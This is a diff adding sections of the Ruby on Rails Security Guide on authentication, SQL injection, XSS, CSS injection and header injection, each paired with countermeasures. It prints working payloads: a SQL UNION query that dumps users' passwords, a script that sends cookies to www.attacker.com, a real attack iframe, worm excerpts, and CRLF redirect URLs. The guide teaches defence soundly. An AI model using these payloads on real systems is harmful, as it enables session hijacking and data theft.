+In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +update_attributes!+ methods all respect mass-assignment security and accept either +:as+ or +:without_protection+ options. For example:
+
+<ruby>
+@user = User.new({ :name => 'Sebastian', :is_admin => true }, :as => :admin)
+@user.name # => Sebastian
+@user.is_admin # => true
+
+@user = User.create({ :name => 'Sebastian', :is_admin => true }, :without_protection => true)
+@user.name # => Sebastian
+@user.is_admin # => true
+</ruby>
+
+A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of:
+
+<ruby>
+config.active_record.whitelist_attributes = true
+</ruby>
+
+This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests.
+
+h3. User Management
+
+NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
+
+There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features.
+
+Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+
+<plain>
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+</plain>
+
+This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
+
+<ruby>
+User.find_by_activation_code(params[:id])
+</ruby>
+
+If the parameter was nil, the resulting SQL query will be
+
+<sql>
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+</sql>
+
+And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+
+h4. Brute-Forcing Accounts
+
+NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
+
+A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
+
+Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
+
+However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
+
+In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+
+h4. Account Hijacking
+
+Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.
+
+h5. Passwords
+
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
+
+h5. E-Mail
+
+However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
+
+h5. Other
+
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+
+h4. CAPTCHAs
+
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
+
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
+
+You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+
+Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
+
+Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
+
+* position the fields off of the visible area of the page
+* make the elements very small or color them the same as the background of the page
+* leave the fields displayed, but tell humans to leave them blank
+
+The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
+
+* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+* Randomize the field names
+* Include more than one honeypot field of all types, including submission buttons
+
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
+
+h4. Logging
+
+WARNING: _Tell Rails not to put passwords in the log files._
+
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
+
+<ruby>
+config.filter_parameters << :password
+</ruby>
+
+h4. Good Passwords
+
+INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
+
+Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
+
+It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
+
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+
+h4. Regular Expressions
+
+INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
+
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
+
+<ruby>
+  /^https?:\/\/[^\n]+$/i
+</ruby>
+
+This may work fine in some languages. However, _(highlight)in Ruby ^ and $ match the *line* beginning and line end_. And thus a URL like this passes the filter without problems:
+
+<plain>
+javascript:exploit_code();/*
+http://hi.com
+*/
+</plain>
+
+This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
+
+<ruby>
+  link_to "Homepage", @user.homepage
+</ruby>
+
+The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.
+
+To fix the regular expression, \A and \z should be used instead of ^ and $, like so:
+
+<ruby>
+  /\Ahttps?:\/\/[^\n]+\z/i
+</ruby>
+
+Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:
+
+<ruby>
+  # content should include a line "Meanwhile" anywhere in the string
+  validates :content, :format => { :with => /^Meanwhile$/, :multiline => true }
+</ruby>
+
+Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the *line* beginning and line end in Ruby, and not the beginning and end of a string.
+
+h4. Privilege Escalation
+
+WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
+
+The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
+
+<ruby>
+@project = Project.find(params[:id])
+</ruby>
+
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
+
+<ruby>
+@project = @current_user.projects.find(params[:id])
+</ruby>
+
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
+
+Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
+
+h3. Injection
+
+INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
+
+Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+
+h4. Whitelists versus Blacklists
+
+NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
+
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
+
+* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
+* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
+* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
+* Don't try to correct user input by blacklists:
+** This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
+** But reject malformed input
+
+Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+
+h4. SQL Injection
+
+INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
+
+h5(#sql-injection-introduction). Introduction
+
+SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
+
+<ruby>
+Project.where("name = '#{params[:name]}'")
+</ruby>
+
+This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+
+<sql>
+SELECT * FROM projects WHERE name = '' OR 1 --'
+</sql>
+
+The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
+
+h5. Bypassing Authorization
+
+Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+
+<ruby>
+User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+</ruby>
+
+If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
+
+<sql>
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+</sql>
+
+This will simply find the first record in the database, and grants access to this user.
+
+h5. Unauthorized Reading
+
+The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
+
+<ruby>
+Project.where("name = '#{params[:name]}'")
+</ruby>
+
+And now let's inject another query using the UNION statement:
+
+<plain>
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+</plain>
+
+This will result in the following SQL query:
+
+<sql>
+SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+</sql>
+
+The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
+
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
+
+h5(#sql-injection-countermeasures). Countermeasures
+
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
+
+Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
+
+<ruby>
+Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+</ruby>
+
+As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
+
+<ruby>
+Model.where(:login => entered_user_name, :password => entered_password).first
+</ruby>
+
+The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
+
+h4. Cross-Site Scripting (XSS)
+
+INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
+
+h5. Entry Points
+
+An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
+
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
+
+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
+
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/mpack-uncovered/ is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
+
+A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
+
+h5. HTML/JavaScript Injection
+
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
+
+Here is the most straightforward test to check for XSS:
+
+<html>
+<script>alert('Hello');</script>
+</html>
+
+This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
+
+<html>
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+</html>
+
+h6. Cookie Theft
+
+These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
+
+<plain>
+<script>document.write(document.cookie);</script>
+</plain>
+
+For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+
+<html>
+<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
+</html>
+
+The log files on www.attacker.com will read like this:
+
+<plain>
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+</plain>
+
+You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
+
+h6. Defacement
+
+With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
+
+<html>
+<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
+</html>
+
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+
+A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+
+Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
+
+<plain>
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+  <script src=http://www.securitylab.ru/test/sc.js></script><!--
+</plain>
+
+h6(#html-injection-countermeasures). Countermeasures
+
+_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
+
+Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+
+Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+
+<ruby>
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+</ruby>
+
+This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
+
+<ruby>
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
+</ruby>
+
+This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
+
+As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use +escapeHTML()+ (or its alias +h()+) method_ to replace the HTML input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in HTML (+&amp;amp;+, +&amp;quot;+, +&amp;lt+;, and +&amp;gt;+). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the "SafeErb":http://safe-erb.rubyforge.org/svn/plugins/safe_erb/ plugin</em>. SafeErb reminds you to escape strings from external sources.
+
+h6. Obfuscation and Encoding Injection
+
+Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
+
+<html>
+<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
+  &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
+</html>
+
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":https://hackvertor.co.uk/public. Rails' sanitize() method does a good job to fend off encoding attacks.
+
+h5. Examples from the Underground
+
+_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
+
+The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
+
+<html>
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+</html>
+
+The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+
+In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+
+The MySpace Samy worm will be discussed in the CSS Injection section.
+
+h4. CSS Injection
+
+INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
+
+CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":http://namb.la/popular/tech.html. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.
+
+MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
+
+<html>
+<div style="background:url('javascript:alert(1)')">
+</html>
+
+So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
+
+<html>
+<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
+</html>
+
+The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
+
+<plain>
+alert(eval('document.body.inne' + 'rHTML'));
+</plain>
+
+The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
+
+<html>
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+</html>
+
+Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
+
+In the end, he got a 4 KB worm, which he injected into his profile page.
+
+The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+
+h5(#css-injection-countermeasures). Countermeasures
+
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' +sanitize()+ method as a model for a whitelist CSS filter, if you really need one.
+
+h4. Textile Injection
+
+If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
+
+For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
+
+<ruby>
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+</ruby>
+
+Use the :filter_html option to remove HTML which was not created by the Textile processor.
+
+<ruby>
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+</ruby>
+
+However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
+
+<ruby>
+RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="javascript:alert(1)">hello</a></p>"
+</ruby>
+
+h5(#textile-injection-countermeasures). Countermeasures
+
+It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
+
+h4. Ajax Injection
+
+NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
+
+If you use the "in_place_editor plugin":http://dev.rubyonrails.org/browser/plugins/in_place_editing, or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+
+h4. Command Line Injection
+
+NOTE: _Use user-supplied command line parameters with caution._
+
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+
+A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
+
+<ruby>
+system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+</ruby>
+
+
+h4. Header Injection
+
+WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
+
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
+
+Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
+
+<ruby>
+redirect_to params[:referer]
+</ruby>
+
+What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
+
+<plain>
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+</plain>
+
+And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
+
+<plain>
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+</plain>
+
+Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
+
+<plain>
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+</plain>
+
